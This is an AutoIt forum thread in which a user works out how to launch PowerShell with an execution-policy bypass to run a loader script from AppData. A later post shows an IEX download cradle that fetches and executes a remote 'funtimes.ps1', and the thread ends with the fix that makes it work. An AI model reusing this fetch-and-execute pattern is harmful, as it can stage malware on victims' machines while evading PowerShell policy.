maurice27 Posted March 30, 2020 Posted March 30, 2020 Hello dear AutoIT friends, i have been trying for a couple of days to make this work and it blows my mind that it doesn't. $sCommands = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -NoExit -File C:\Users\admin\AppData\Roaming\loader.ps1' MsgBox(0,'',$sCommands) Run($sCommands, @AppDataDir, @SW_SHOW) All it does is open a powershell window, and do nothing, any suggestions to make it work?
maurice27 Posted March 30, 2020 Author Posted March 30, 2020 I have tried almost all the code snippets i have seen on this forum.
Colduction Posted March 30, 2020 Posted March 30, 2020 You could use through Command Prompt (@ComSpec or "cmd /c powershel xxxxxxxxxxxxxxx") to run powershell code
maurice27 Posted March 30, 2020 Author Posted March 30, 2020 Could you provide an example, i have tried them without success.
maurice27 Posted March 30, 2020 Author Posted March 30, 2020 $sCommands = 'cmd.exe /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -ep Bypass -Command ' $sCommands2 = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.3.45:8381/funtimes.ps1')" MsgBox(0,'',$sCommands & $sCommands2) RunWait($sCommands & $sCommands2, @AppDataDir, @SW_SHOW) This one downloads the file, but doesn't execute it...
maurice27 Posted March 30, 2020 Author Posted March 30, 2020 eh nevermind i had to include this #include <WinAPIFiles.au3> _WinAPI_Wow64EnableWow64FsRedirection(False)
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now